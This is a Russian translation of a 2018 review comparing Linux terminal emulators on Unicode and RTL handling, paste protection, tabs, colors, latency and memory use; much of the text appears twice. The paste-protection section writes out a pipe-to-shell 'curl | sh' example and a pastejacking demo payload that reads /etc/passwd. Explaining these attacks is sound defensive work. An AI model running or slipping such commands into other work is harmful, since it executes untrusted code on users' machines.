Пара слов от нашего translate-бюро: обычно все стремятся переводить самые свежие материалы и публикации, и мы не исключение. Но терминалы — это не то, что обновляется раз в неделю. Поэтому мы перевели для вас статью Антуана Бопре, опубликованную весной 2018 года: несмотря на солидный по современным меркам «возраст», на наш взгляд, материал совершенно не потерял актуальности. Кроме того, в оригинале это серия из двух статей, но мы приняли решение объединить их в один большой пост.
Терминалы занимают особое место в компьютерной истории, но в последние десятилетия они «вынуждены» были буквально выживать вместе с командной строкой на фоне повсеместно распространяющихся графических интерфейсов. Эмуляторы терминалов заменили своих аппаратных собратьев, которые, в свою очередь, были модификацией систем на перфокартах и тумблерах. Современные дистрибутивы поставляются с целым множеством эмуляторов терминала всех форм и расцветок. И пока многие спокойно довольствуются стандартным терминалом, который предоставляется их рабочей средой, некоторые с гордостью используют откровенно экзотическое программное обеспечение для запуска своей любимой оболочки или текстового редактора. Но, как мы увидим из этой статьи, не все терминалы были созданы по одному образу и подобию: они сильно различаются между собой по функциональности, размеру и производительности.
Некоторые терминалы имеют прямо удивительные дыры в безопасности, плюс, большинство обладает совершенно разным набором функций, от поддержки интерфейса с вкладками до сценариев. Хотя мы рассмотрели эмуляторы терминалов в далеком прошлом, эта статья — обновление предыдущего материала, которое поможет читателям определить, каким терминалом пользоваться в 2018 году. В первой половине статьи сравниваются функции, а во второй оценивается производительность.
Вот рассмотренные мной терминалы:
Возможно, это не самые свежие версии, так как я ограничивался стабильными сборками на момент написания материала, которые у меня получилось раскатать на Debian 9 или Fedora 27. Единственное исключение — Alacritty. Он является потомком терминалов с GPU-ускорением и написан на необычном и новом для этой задачи языке — Rust. Я исключил из своего обзора веб-терминалы (в том числе, и на Electron), потому что предварительные тесты показали их крайне низкую производительность.
Свои тесты я начал с поддержки юникода. Первым тестом терминалов было отображение оными строки о юникоде из статьи на Википедии: «é, Δ, Й, ק, م, ๗, あ, 叶, 葉 и 말». Этот простой тест показывает, может ли терминал корректно работать по всему миру. Терминал xterm не отображает арабский символ Mem в конфигурации по умолчанию:
По дефолту xterm использует классический «фиксированный» шрифт, который, согласно все той же Вики, имеет «существенный охват юникода с 1997 года». В этом шрифте происходит что-то, что заставляет символ отображаться в виде пустой рамки и только при увеличении шрифта текста до 20+ пунктов символ наконец-то начинает отображаться правильно. Однако такой «фикс» ломает отображение других символов юникода:
Эти скриншоты были сделаны в Fedora 27, так как именно она давала лучшие результаты, нежели Debian 9, где некоторые старые версии терминалов (а конкретно — mlterm) не могли должным образом работать со шрифтами. К счастью, это было поправлено в более поздних версиях.
Теперь обратите внимание на отображение строки в xterm. Оказывается, символ Mem и следующий за ним Semitic Qoph относятся к сценариям начертания RTL (right-to-left), поэтому технически они должны отображаться справа налево. Веб-браузеры, например Firefox 57, правильно обрабатывают приведенную выше строку. Более простым вариантом RTL-текста является слово «Сара» на иврите (שרה). Страница Вики о двунаправленных текстах говорит следующее:
Многие терминалы не проходят этот тест: Alacritty, VTE-производные терминалы Gnome и XFCE, urxvt, st и xterm отображают «Сара» в обратном порядке, как если бы мы записывали это имя как «Арас».
Другая проблема двунаправленных текстов заключается в том, что их надо как-то выровнять, особенно если речь идет о смешении RTL и LTR-текстов. Сценарии RTL должны запускаться с правой стороны окна терминала, но что должно происходить для терминалов, по умолчанию работающих с LTR-английским? Большинство из них не обладают какими-то специальными механизмами и выравнивают весь текст по левому краю (в том числе, и в Konsole). Исключением являются pterm и mlterm, которые придерживаются стандартов и выравнивают такие строки по правому краю.
Следующая критическая особенность, которую я для себя определил, — это защита от вставки. Хотя широко известно, что заклинания типа:
являются пуш-командами выполнения кода, мало кто знает, что скрытые команды могут проникнуть в консоль при копировании-вставке из веб-браузера, даже после тщательного осмотра. Проверочный сайт Джанна Хорна блестяще показывает, как выглядящая безобидно команда:
превращается при вставке с сайта Хорна в терминал вот в такую неприятность:
Как это работает? Вредоносный код вынесен в блок <spаn>, который перемещен из поля зрения пользователя средствами CSS.
Режим Bracketed paste явно предназначен для нейтрализации подобных атак. В этом режиме терминалы заключают вставляемый текст в пару специальных escape-последовательностей, чтобы сообщить оболочке о происхождении этого текста. Так оболочка получает сигнал, что может игнорировать специальные символы, которые может содержать вставляемый текст. Все терминалы, вплоть до почтенного xterm, поддерживают данную функцию, но вставка в Bracketed-режиме нуждается в поддержке оболочки или приложения, запущенного на терминале. Например, ПО использующее GNU Readline (тот же Bash), нуждается в файле ~ / .inputrc:
К сожалению, тест-сайт Хорна также показывает, как обойти эту защиту через само форматирование текста и преждевременно закончить применение к нему Bracketed-режима. Это работает, потому что некоторые терминалы некорректно фильтруют escape-последовательности перед добавлением своих собственных. Например, в моих я так и не смог успешно завершить тесты Konsole даже с учетом корректной конфигурации .inputrc файла. Это означает, что вы с легкостью можете получить повреждения конфигурации системы из-за неподдерживаемого приложения или неправильно настроенной оболочки. Особенно опасно это при входе на удаленные сервера, где тщательная проработка конфигурации встречается реже, тем более если таких удаленных машин у вас много.
Хорошим решением этой проблемы является плагин подтверждения вставки для терминала urxvt, который просто запрашивает разрешение на вставку любого текста, содержащего в себе новые строки. Более защищенного варианта для описываемой Хорном текстовой атаки я не нашел.
Популярной сейчас функцией является поддержка интерфейса с вкладками, который мы будем определять как одно окно терминала, содержащее в себе еще несколько терминалов. Для разных терминалов эта функция отличается, и хотя традиционные терминалы вида xterm вообще не поддерживают вкладки, более современные инкарнации терминала в лице Xfce Terminal, GNOME Terminal и Konsole эту функцию имеют. Также поддержка вкладок есть и у Urxvt, но только при условии использования плагина. Но с точки зрения поддержки вкладок как таковых безусловным лидером является Terminator: он не только поддерживает вкладки, но также может размещать терминалы в произвольном порядке (см изображение ниже).
Еще одной особенностью Terminator является возможность «группировать» эти вкладки вместе и посылать одни и те же нажатия клавиш на несколько терминалов одновременно, что обеспечивает грубый инструмент выполнения массовых операций на нескольких серверах одновременно. Аналогичная функция также реализована и в Konsole. Для использования этой функции в других терминалах необходимо использовать стороннее программное обеспечение, такое как Cluster SSH, xlax или tmux.
Особенно хорошо вкладки работают вкупе с профилями: например, у вас может быть одна вкладка для электронной почты, другая для чата и так далее. Это хорошо поддерживается терминалом Konsole и GNOME Terminal. Оба позволяют каждой вкладке автоматически запускать свой профиль. Terminator тоже поддерживает профили, но я не смог найти способ автоматически запускать определенные программы при открытии определенной вкладки. Другие терминалы вообще не имеют понятия «профиль».
Последнее, что я рассмотрю в первой части этой статьи, — внешний вид терминалов. Например GNOME, Xfce и urxvt поддерживают прозрачность, но недавно свернули поддержку фоновых изображений, что заставило некоторых пользователей перейти на терминал Tilix. Лично меня устраивает и просто Xresources, который устанавливает базовый набор цветов фона для urxvt. Однако нестандартные цветовые темы могут создавать и проблемы. Например, Solarized не работает с приложениями htop и IPTraf, так как они уже используют собственные цвета.
Оригинальный терминал VT100 не поддерживал цвета, а новые зачастую ограничивались 256-цветной палитрой. Для опытных пользователей, которые стилизуют свои терминалы, запросы оболочки или строки состояния какими-то сложными способами, могут стать неприятным ограничением. Gist отслеживает, какие терминалы имеют поддержку «True Color». Мои тесты подтверждают, что st, Alacritty и терминалы на базе VTE прекрасно поддерживают True Color. Другие терминалы в этом плане чувствуют себя не очень хорошо и по факту не отображают даже 256 цветов. Ниже вы можете увидеть разницу между поддержкой True Color в терминалах GNOME, st и xterm, которые неплохо справляются с этой задачей с помощью своей 256-цветовой палитры, и urxvt, который не только не проходит тест, но даже показывает какие-то мигающие символы вместо них.
Некоторые терминалы также анализируют текст на наличие URL-шаблонов, чтобы сделать ссылки кликабельными. Это относится ко всем производным от VTE терминалам, тогда как urxvt требует специальный подключаемый модуль, который бы трансформировал URL-адреса по щелчку или с помощью сочетания клавиш. Другие протестированные мной терминалы отображают URL-адреса иными способами.
Наконец, новый тренд терминалов — опциональность буфера прокрутки. Например, в st нет буфера прокрутки; предполагается, что пользователь будет использовать терминальный мультиплексор, вроде tmux и GNU Screen.
В Alacritty также отсутствуют буферы обратного скролла, но вскоре добавится его поддержка из-за «обширного фидбека» на эту тему со стороны пользователей. Помимо этих выскочек, каждый проверенный мною терминал, который я смог найти, поддерживает обратную прокрутку.
Во второй части материала (в оригинале это были две разные статьи, — прим. пер.) мы сравним производительность, использование памяти и задержку. Но мы уже видим, что некоторые из рассматриваемых терминалов имеют серьезные недостатки. Например, пользователи на регулярной основе работающие с RTL-скриптами могут обратить внимание на mlterm и pterm, так как они лучше других справляются с подобными задачами. Konsole также хорошо проявил себя. Пользователи, не работающие с RTL-скриптами, могут выбирать что-нибудь другое.
С точки зрения защищенности от вставки вредоносного кода urxvt стоит особняком из-за своей особой реализации защиты от этого вида атак, которая мне кажется определенно удобной. Тем, кто ищет какие-нибудь навороты, стоит посмотреть на Konsole. Наконец, стоит отметить, что VTE — отличная база для терминалов, которая гарантирует поддержку цветов, распознавание URL и так далее. На первый взгляд, дефолтный терминал, поставляемый с вашей любимой средой, может отвечать всем требованиям, но оставим этот вопрос открытым, пока не разберемся с производительностью.
Вообще, производительность терминалов сама по себе может показаться надуманной проблемой, однако, как оказалось, некоторые из них демонстрируют удивительно большую задержку для ПО такого фундаментального типа. Также далее мы рассмотрим то, что традиционно называют «скоростью» (на самом деле, это скорость прокрутки) и потребление терминалом памяти (с оглядкой на то, что сегодня это не так критично, как десятилетия назад).
После тщательного исследования производительности терминалов я пришел к выводу, что важнейшим параметров в этом плане является размер задержки (пинг). В своей статье «Печатаем с удовольствием» Павел Фатин рассмотрел задержку различных текстовых редакторов и намекнул, что терминалы в этом плане могут работать медленнее, чем самые быстрые текстовые редакторы. Именно этот намек и привел меня, в конечном итоге, к запуску собственных тестов и написанию этой статьи.
Но что такое задержка, и почему она так важна? В своей статье Фатин определил её как «задержку между нажатием клавиши и соответствующим обновлением экрана» и процитировал «Руководство по взаимодействию человека с компьютером», в котором говорится: «Задержка в визуальной обратной связи на дисплее компьютера оказывает важное влияние на поведение машинистки и ее удовлетворенность».
Фатин объясняет, что такой пинг имеет более глубокие последствия, нежели просто удовлетворение: «печатание становится медленнее, возникает больше ошибок, увеличивается напряжение глаз и мышц». Другими словами, большая задержка может привести к опечаткам, а также снижению качества кода, так как приводит к дополнительной когнитивной нагрузке на мозг. Но что еще хуже, пинг «увеличивает напряжение глаз и мышц», что, по-видимому, подразумевает развитие профессиональных травм в будущем (по всей видимости, автор имеет в виду проблемы с мышцами глаз, спиной, руками и, конечно же, зрением, — прим. пер.) из-за повторяющегося напряжения.
Некоторые из этих эффектов известны давно, а результаты исследования, опубликованного еще в 1976 году в журнале Ergonomics, говорят, что задержка в 100 миллисекунд «значительно ухудшает скорость набора». Совсем недавно в руководстве пользователя GNOME было внесено приемлемое время отклика в 10 миллисекунд, а если идти дальше, то Microsoft Research показывает, что идеалом является 1 миллисекунда.
Фатин проводил свои тесты на текстовых редакторах; он создал портативный инструмент под названием Typometer, который я использовал для проверки пинга в эмуляторах терминала. Имейте в виду, что тест проводился в режиме симуляции: в действительности нам надо учитывать и задержку ввода (клавиатура, USB-контроллер и так далее) и вывода (буфер видеокарты, монитор). По словам Фатина, в типичных конфигурациях она составляет около 20 ms. При наличии геймерского оборудования можно достигнуть показателя всего в 3 миллисекунды. Так как у нас уже есть такое быстрое оборудование, приложение не должно вносить еще и свою задержку. Цель Фатина —довести задержку приложения до 1 миллисекунды, или вовсе достигнуть набора без измеримой задержки, как в IntelliJ IDEA 15.
А вот результаты моих измерений, а также некоторые результаты Фатина для того, чтобы показать, что мой эксперимент согласуется с его тестами:
Первое, что меня поразило — это лучшее время отклика у старых программ, таких как xterm и mlterm. С наличием худшей задержки регистра (2,4 ms) они показали результат лучше, чем самый быстрый современный терминал (10,6 ms для st). Ни один современный терминал не опускается ниже порога в 10 миллисекунд. В частности, Alacritty не соответствует требованиям к «самому быстрому из существующих эмуляторов терминала», хотя его результаты улучшились с момента первой проверки в 2017 году. Действительно, авторы проекта в курсе ситуации и работают над улучшением отображения. Также необходимо отметить, что Vim, использующий GTK3, на порядок медленнее своего аналога GTK2. Из этого можно сделать вывод, что GTK3 создает дополнительную задержку, и это отражается на всех прочих терминалах, которые его используют (Terminator, Xfce4 Terminal и GNOME Terminal).
Однако для глаза отличия могут быть незаметны. Как объясняет Фатин: «не обязательно осознавать наличие задержки, чтобы она имела на вас эффект». Фатин также предупреждает о стандартном отклонении: «любые нарушения в длительности задержки (дрожание) создают дополнительную нагрузку из-за их непредсказуемости».
График выше взят получен на чистом Debian 9 (stretch) с i3 window manager. Эта среда дает наилучшие результаты в тестах на определение задержки. Как оказалось, GNOME создает дополнительный пинг в 20 ms для всех измерений. Возможное объяснение этому — наличие программ с синхронной обработкой входных событий. Фатин приводит для такого случая в пример Workrave, который добавляет задержку обрабатывая все input-события синхронно. По умолчанию GNOME также оснащен менеджером окон Mutter, которые создает дополнительный уровень буферизации, что влияет на пинг и добавляет минимум 8 миллисекунд задержки.
Следующий тест — это традиционная проверка «скорости» или «полосы пропускания», которая измеряет, как быстро терминал может прокручивать страницу, отображая большое количество текста на экране. Механика теста варьируется; оригинальный тест состоял в том, чтобы просто генерировать одну и ту же текстовую строку с помощью команды seq. Другие тесты включают в себя проверку Томаса Е. Дики (сопровождающего xterm), в рамках которого многократно выгружается файл terminfo.src. В еще одном обзоре производительности терминалов Ден Луу использует строку случайных байтов в кодировке base32, которая выводится в терминал с помощью cat. Луу считает такой тест «настолько бесполезным эталоном, насколько это можно себе представить» и предлагает использовать вместо этого отклик терминала в качестве основного показателя. Дики также называет свой тест вводящим в заблуждение. Тем не менее, оба автора признают, что пропускная способность окна терминала может быть проблемой. Луу обнаружил зависание Emacs Eshell при отображении больших файлов, а Дики оптимизировал терминал, чтобы избавиться от визуальной медлительности xtrerm. Поэтому в этом тесте все еще есть некоторый резон, но поскольку процесс рендеринга сильно отличается от терминала к терминалу, его можно использовать и как тестовый компонент для проверки других параметров.
Здесь мы видим, что rxvt и st вырываются вперед на фоне конкурентов, следом идет намного более новый Alacritty, разрабатываемый с упором на быстродействие. Далее идут Xfce (семейство VTE) и Konsole, которые работают почти вдвое быстрее. Последним идет xterm с показателем в пять раз медленнее rxvt. Во время теста xterm также сильно рябил, проходящий текст было трудно разглядеть, даже если это была одна и та же строка. Konsole оказался быстрым, но он временами «хитрил»: дисплей время от времени зависал, показывая текст частично или не отображая его вовсе. Другие терминалы отображали строки четко, включая st, Alacritty и rxvt.
Дики объясняет, что различия в производительности связаны с дизайном буферов прокрутки в разных терминалах. В частности, он обвиняет rxvt и другие терминалы в том, что они «не следуют общим правилам»:
Чтобы исправить эту кажущуюся медлительность xterm, Дики предлагает использовать ресурс fastScroll, позволяющий xterm отбрасывать некоторые обновления экрана, чтобы не отставать от потока. Мои тесты подтверждают, что fastScroll повышает производительность и выводит xterm на один уровень с rxvt. Это, однако, довольно грубый костыль, как объясняет сам Дики: «иногда xterm — как и konsole — кажется, останавливается, так как он ожидает нового набора обновлений экрана после того, как некоторые из них были удалены». В этом ключе кажется, что другие терминалы нашли наилучший компромисс между скоростью и целостностью дисплея.
Независимо от целесообразности рассмотрения скорости прокрутки в качестве показателя производительности, этот тест позволяет имитировать нагрузку на терминалы, что, в свою очередь, позволяет нам измерять другие параметры, такие как использование памяти или диска. Метрики были получены путем запуска указанного теста seq под мониторингом процесса Python. Он собирал данные счетчиков getrusage () для ru_maxrss, сумму ru_oublock и ru_inblock и простой таймер времени.
В этом тесте ST занимает первое место с наименьшим средним потребляемым объемом памяти в 8 МБ, что неудивительно, если учесть, что основная идея проекта — это простота. Немного больше потребляет mlterm, xterm и rxvt — около 12 МБ. Еще один заметный результат у Alacritty, которому для работы требуется 30 МБ. Затем идут терминалы семейства VTE с показателями от 40 до 60 МБ, что достаточно много. Подобное потребление можно объяснить тем, что эти терминалы используют библиотеки более высокого уровня, например, GTK. Konsole идет последним с колоссальным потреблением 65 МБ памяти во время тестов, хотя и это можно оправдать его весьма широким набором функций.
По сравнению с предыдущими результатами, полученными десять лет назад, все программы стали потреблять заметно больше памяти. Раньше Xterm требовал 4 МБ, а теперь — 15 МБ просто на запуске. Аналогичное увеличение потребления есть и у rxvt, который теперь из коробки требует 16 МБ. Терминал Xfce занимает 34 МБ, что в три раза больше, чем раньше, а вот GNOME Terminal требует всего 20 МБ. Конечно, все предыдущие тесты проводились на 32-битной архитектуре. На LCA 2012 Расти Рассел рассказал, что есть множество более тонких причин, которые могут объяснить рост потребления памяти. При всем этом сейчас мы живем во времена, когда у нас есть целые гигабайты памяти, так что как-нибудь справимся.
Тем не менее, я не могу избавиться от ощущения, что выделение большего количества памяти на такое фундаментальное ПО, как терминал, — это пустая трата ресурсов. Эти программы должны быть наименьшими из самых маленьких, должны быть способны работать на любой «коробке», даже обувной, если мы когда-нибудь придем к тому, что их надо будет оснащать Linux-системами (а вы знаете, что так оно и будет). Но с этими цифрами использование памяти станет в будущем проблемой в любой среде при запуске нескольких терминалов, кроме ситуации с несколькими самыми легкими и ограниченными в возможностях. Чтобы компенсировать это, GNOME Terminal, Konsole, urxvt, Terminator и Xfce Terminal имеют Daemon-режим, который позволяет управлять несколькими терминалами через один процесс, что ограничивает их потребление памяти.
В ходе своих тестов я пришел к еще одному неожиданному результату касательно дискового чтения-записи: я ожидал вообще ничего тут не увидеть, но оказалось, что некоторые терминалы записывают самые объемные данные на диск. Так, библиотека VTE фактически держит на диске буфер скролла (эта особенность была замечена еще в 2010 году, и это происходит до сих пор). Но в отличие от старых реализация, сейчас, по крайне мере, эти данные зашифрованы с помощью AES256 GCM (с версии 0.39.2). Но возникает резонный вопрос, что же такого особенного в библиотеке VTE, что она требует такого нестандартного подхода к реализации…
В первой части статьи мы обнаружили, что терминалы на основе VTE имеют хороший набор функций, но теперь мы видим, что это связано с некоторыми затратами на обеспечение их производительности. Сейчас память не является проблемой, потому что всеми VTE-терминалы можно управлять через Daemon-процесс, который ограничивает их аппетит. Тем не менее, старые системы, имеющие физические ограничения по количеству оперативной памяти и буфера ядра, могут по-прежнему нуждаться в более ранних версиях терминалов, так как они потребляют значительно меньше ресурсов. Хотя терминалы VTE показали себя хорошо в тестах на пропускную способность (прокрутка), их задержка отображения данных на дисплее выше установленного порога в руководстве пользователя GNOME. Вероятно, разработчикам VTE стоит это учесть. Если принять в расчет то, что даже для начинающих пользователей Linux встреча с терминалом неизбежна, они могут сделать его более дружелюбным по отношению к юзеру. Для опытных гиков переход с терминала по умолчанию может означать даже снижение нагрузки на зрение и возможность избежать профессиональных травм и заболеваний в будущем из-за продолжительных рабочих сессий. К сожалению, только старые xterm и mlterm подводят нас к волшебному порогу пинга в 10 миллисекунд, что для многих неприемлемо.
Контрольные измерения также показали, что из-за развития графических сред Linux разработчикам пришлось пойти на ряд компромиссов. Некоторым пользователям стоит взглянуть на обычные оконные менеджеры, так как они обеспечивают значительное снижение пинга. К сожалению, для Wayland измерить задержку не получилось: программа Typometer, которой я пользовался, была создана для того, что Wayland призван предотвращать — шпионаж за другими окнами. Я надеюсь, что композитинг Wayland по производительности лучше, чем X.org, а также надеюсь и на то, что в будущем кто-нибудь найдет способ оценить уровень задержки в этой среде.
Терминалы занимают особое место в компьютерной истории, но в последние десятилетия они «вынуждены» были буквально выживать вместе с командной строкой на фоне повсеместно распространяющихся графических интерфейсов. Эмуляторы терминалов заменили своих аппаратных собратьев, которые, в свою очередь, были модификацией систем на перфокартах и тумблерах. Современные дистрибутивы поставляются с целым множеством эмуляторов терминала всех форм и расцветок. И пока многие спокойно довольствуются стандартным терминалом, который предоставляется их рабочей средой, некоторые с гордостью используют откровенно экзотическое программное обеспечение для запуска своей любимой оболочки или текстового редактора. Но, как мы увидим из этой статьи, не все терминалы были созданы по одному образу и подобию: они сильно различаются между собой по функциональности, размеру и производительности.
Некоторые терминалы имеют прямо удивительные дыры в безопасности, плюс, большинство обладает совершенно разным набором функций, от поддержки интерфейса с вкладками до сценариев. Хотя мы рассмотрели эмуляторы терминалов в далеком прошлом, эта статья — обновление предыдущего материала, которое поможет читателям определить, каким терминалом пользоваться в 2018 году. В первой половине статьи сравниваются функции, а во второй оценивается производительность.
Вот рассмотренные мной терминалы:
Возможно, это не самые свежие версии, так как я ограничивался стабильными сборками на момент написания материала, которые у меня получилось раскатать на Debian 9 или Fedora 27. Единственное исключение — Alacritty. Он является потомком терминалов с GPU-ускорением и написан на необычном и новом для этой задачи языке — Rust. Я исключил из своего обзора веб-терминалы (в том числе, и на Electron), потому что предварительные тесты показали их крайне низкую производительность.
Поддержка юникода
Свои тесты я начал с поддержки юникода. Первым тестом терминалов было отображение оными строки о юникоде из статьи на Википедии: «é, Δ, Й, ק, م, ๗, あ, 叶, 葉 и 말». Этот простой тест показывает, может ли терминал корректно работать по всему миру. Терминал xterm не отображает арабский символ Mem в конфигурации по умолчанию:
По дефолту xterm использует классический «фиксированный» шрифт, который, согласно все той же Вики, имеет «существенный охват юникода с 1997 года». В этом шрифте происходит что-то, что заставляет символ отображаться в виде пустой рамки и только при увеличении шрифта текста до 20+ пунктов символ наконец-то начинает отображаться правильно. Однако такой «фикс» ломает отображение других символов юникода:
Эти скриншоты были сделаны в Fedora 27, так как именно она давала лучшие результаты, нежели Debian 9, где некоторые старые версии терминалов (а конкретно — mlterm) не могли должным образом работать со шрифтами. К счастью, это было поправлено в более поздних версиях.
Теперь обратите внимание на отображение строки в xterm. Оказывается, символ Mem и следующий за ним Semitic Qoph относятся к сценариям начертания RTL (right-to-left), поэтому технически они должны отображаться справа налево. Веб-браузеры, например Firefox 57, правильно обрабатывают приведенную выше строку. Более простым вариантом RTL-текста является слово «Сара» на иврите (שרה). Страница Вики о двунаправленных текстах говорит следующее:
«Многие компьютерные программы не могут правильно отображать двунаправленный текст. Например, еврейское имя «Сара» состоит из символов син (ש) (который появляется справа), затем реш (ר) и, наконец, хе (ה) (который должен появляться слева)».
Многие терминалы не проходят этот тест: Alacritty, VTE-производные терминалы Gnome и XFCE, urxvt, st и xterm отображают «Сара» в обратном порядке, как если бы мы записывали это имя как «Арас».
Другая проблема двунаправленных текстов заключается в том, что их надо как-то выровнять, особенно если речь идет о смешении RTL и LTR-текстов. Сценарии RTL должны запускаться с правой стороны окна терминала, но что должно происходить для терминалов, по умолчанию работающих с LTR-английским? Большинство из них не обладают какими-то специальными механизмами и выравнивают весь текст по левому краю (в том числе, и в Konsole). Исключением являются pterm и mlterm, которые придерживаются стандартов и выравнивают такие строки по правому краю.
Защита от вставки
Следующая критическая особенность, которую я для себя определил, — это защита от вставки. Хотя широко известно, что заклинания типа:
$ curl http://example.com/ | shявляются пуш-командами выполнения кода, мало кто знает, что скрытые команды могут проникнуть в консоль при копировании-вставке из веб-браузера, даже после тщательного осмотра. Проверочный сайт Джанна Хорна блестяще показывает, как выглядящая безобидно команда:
git clone git: //git.kernel.org/pub/scm/utils/kup/kup.gitпревращается при вставке с сайта Хорна в терминал вот в такую неприятность:
git clone /dev/null;
clear;
echo -n "Hello ";
whoami|tr -d '\n';
echo -e '!\nThat was a bad idea. Don'"'"'t copy code from websites you don'"'"'t trust! \
Here'"'"'s the first line of your /etc/passwd: ';
head -n1 /etc/passwd
git clone git://git.kernel.org/pub/scm/utils/kup/kup.gitКак это работает? Вредоносный код вынесен в блок <spаn>, который перемещен из поля зрения пользователя средствами CSS.
Режим Bracketed paste явно предназначен для нейтрализации подобных атак. В этом режиме терминалы заключают вставляемый текст в пару специальных escape-последовательностей, чтобы сообщить оболочке о происхождении этого текста. Так оболочка получает сигнал, что может игнорировать специальные символы, которые может содержать вставляемый текст. Все терминалы, вплоть до почтенного xterm, поддерживают данную функцию, но вставка в Bracketed-режиме нуждается в поддержке оболочки или приложения, запущенного на терминале. Например, ПО использующее GNU Readline (тот же Bash), нуждается в файле ~ / .inputrc:
set enable-bracketed-paste onК сожалению, тест-сайт Хорна также показывает, как обойти эту защиту через само форматирование текста и преждевременно закончить применение к нему Bracketed-режима. Это работает, потому что некоторые терминалы некорректно фильтруют escape-последовательности перед добавлением своих собственных. Например, в моих я так и не смог успешно завершить тесты Konsole даже с учетом корректной конфигурации .inputrc файла. Это означает, что вы с легкостью можете получить повреждения конфигурации системы из-за неподдерживаемого приложения или неправильно настроенной оболочки. Особенно опасно это при входе на удаленные сервера, где тщательная проработка конфигурации встречается реже, тем более если таких удаленных машин у вас много.
Хорошим решением этой проблемы является плагин подтверждения вставки для терминала urxvt, который просто запрашивает разрешение на вставку любого текста, содержащего в себе новые строки. Более защищенного варианта для описываемой Хорном текстовой атаки я не нашел.
Вкладки и профили
Популярной сейчас функцией является поддержка интерфейса с вкладками, который мы будем определять как одно окно терминала, содержащее в себе еще несколько терминалов. Для разных терминалов эта функция отличается, и хотя традиционные терминалы вида xterm вообще не поддерживают вкладки, более современные инкарнации терминала в лице Xfce Terminal, GNOME Terminal и Konsole эту функцию имеют. Также поддержка вкладок есть и у Urxvt, но только при условии использования плагина. Но с точки зрения поддержки вкладок как таковых безусловным лидером является Terminator: он не только поддерживает вкладки, но также может размещать терминалы в произвольном порядке (см изображение ниже).
Еще одной особенностью Terminator является возможность «группировать» эти вкладки вместе и посылать одни и те же нажатия клавиш на несколько терминалов одновременно, что обеспечивает грубый инструмент выполнения массовых операций на нескольких серверах одновременно. Аналогичная функция также реализована и в Konsole. Для использования этой функции в других терминалах необходимо использовать стороннее программное обеспечение, такое как Cluster SSH, xlax или tmux.
Особенно хорошо вкладки работают вкупе с профилями: например, у вас может быть одна вкладка для электронной почты, другая для чата и так далее. Это хорошо поддерживается терминалом Konsole и GNOME Terminal. Оба позволяют каждой вкладке автоматически запускать свой профиль. Terminator тоже поддерживает профили, но я не смог найти способ автоматически запускать определенные программы при открытии определенной вкладки. Другие терминалы вообще не имеют понятия «профиль».
Рюшечки
Последнее, что я рассмотрю в первой части этой статьи, — внешний вид терминалов. Например GNOME, Xfce и urxvt поддерживают прозрачность, но недавно свернули поддержку фоновых изображений, что заставило некоторых пользователей перейти на терминал Tilix. Лично меня устраивает и просто Xresources, который устанавливает базовый набор цветов фона для urxvt. Однако нестандартные цветовые темы могут создавать и проблемы. Например, Solarized не работает с приложениями htop и IPTraf, так как они уже используют собственные цвета.
Оригинальный терминал VT100 не поддерживал цвета, а новые зачастую ограничивались 256-цветной палитрой. Для опытных пользователей, которые стилизуют свои терминалы, запросы оболочки или строки состояния какими-то сложными способами, могут стать неприятным ограничением. Gist отслеживает, какие терминалы имеют поддержку «True Color». Мои тесты подтверждают, что st, Alacritty и терминалы на базе VTE прекрасно поддерживают True Color. Другие терминалы в этом плане чувствуют себя не очень хорошо и по факту не отображают даже 256 цветов. Ниже вы можете увидеть разницу между поддержкой True Color в терминалах GNOME, st и xterm, которые неплохо справляются с этой задачей с помощью своей 256-цветовой палитры, и urxvt, который не только не проходит тест, но даже показывает какие-то мигающие символы вместо них.
Некоторые терминалы также анализируют текст на наличие URL-шаблонов, чтобы сделать ссылки кликабельными. Это относится ко всем производным от VTE терминалам, тогда как urxvt требует специальный подключаемый модуль, который бы трансформировал URL-адреса по щелчку или с помощью сочетания клавиш. Другие протестированные мной терминалы отображают URL-адреса иными способами.
Наконец, новый тренд терминалов — опциональность буфера прокрутки. Например, в st нет буфера прокрутки; предполагается, что пользователь будет использовать терминальный мультиплексор, вроде tmux и GNU Screen.
В Alacritty также отсутствуют буферы обратного скролла, но вскоре добавится его поддержка из-за «обширного фидбека» на эту тему со стороны пользователей. Помимо этих выскочек, каждый проверенный мною терминал, который я смог найти, поддерживает обратную прокрутку.
Промежуточные итоги
Во второй части материала (в оригинале это были две разные статьи, — прим. пер.) мы сравним производительность, использование памяти и задержку. Но мы уже видим, что некоторые из рассматриваемых терминалов имеют серьезные недостатки. Например, пользователи на регулярной основе работающие с RTL-скриптами могут обратить внимание на mlterm и pterm, так как они лучше других справляются с подобными задачами. Konsole также хорошо проявил себя. Пользователи, не работающие с RTL-скриптами, могут выбирать что-нибудь другое.
С точки зрения защищенности от вставки вредоносного кода urxvt стоит особняком из-за своей особой реализации защиты от этого вида атак, которая мне кажется определенно удобной. Тем, кто ищет какие-нибудь навороты, стоит посмотреть на Konsole. Наконец, стоит отметить, что VTE — отличная база для терминалов, которая гарантирует поддержку цветов, распознавание URL и так далее. На первый взгляд, дефолтный терминал, поставляемый с вашей любимой средой, может отвечать всем требованиям, но оставим этот вопрос открытым, пока не разберемся с производительностью.
Продолжаем разговор
Вообще, производительность терминалов сама по себе может показаться надуманной проблемой, однако, как оказалось, некоторые из них демонстрируют удивительно большую задержку для ПО такого фундаментального типа. Также далее мы рассмотрим то, что традиционно называют «скоростью» (на самом деле, это скорость прокрутки) и потребление терминалом памяти (с оглядкой на то, что сегодня это не так критично, как десятилетия назад).
Задержка
После тщательного исследования производительности терминалов я пришел к выводу, что важнейшим параметров в этом плане является размер задержки (пинг). В своей статье «Печатаем с удовольствием» Павел Фатин рассмотрел задержку различных текстовых редакторов и намекнул, что терминалы в этом плане могут работать медленнее, чем самые быстрые текстовые редакторы. Именно этот намек и привел меня, в конечном итоге, к запуску собственных тестов и написанию этой статьи.
Но что такое задержка, и почему она так важна? В своей статье Фатин определил её как «задержку между нажатием клавиши и соответствующим обновлением экрана» и процитировал «Руководство по взаимодействию человека с компьютером», в котором говорится: «Задержка в визуальной обратной связи на дисплее компьютера оказывает важное влияние на поведение машинистки и ее удовлетворенность».
Фатин объясняет, что такой пинг имеет более глубокие последствия, нежели просто удовлетворение: «печатание становится медленнее, возникает больше ошибок, увеличивается напряжение глаз и мышц». Другими словами, большая задержка может привести к опечаткам, а также снижению качества кода, так как приводит к дополнительной когнитивной нагрузке на мозг. Но что еще хуже, пинг «увеличивает напряжение глаз и мышц», что, по-видимому, подразумевает развитие профессиональных травм в будущем (по всей видимости, автор имеет в виду проблемы с мышцами глаз, спиной, руками и, конечно же, зрением, — прим. пер.) из-за повторяющегося напряжения.
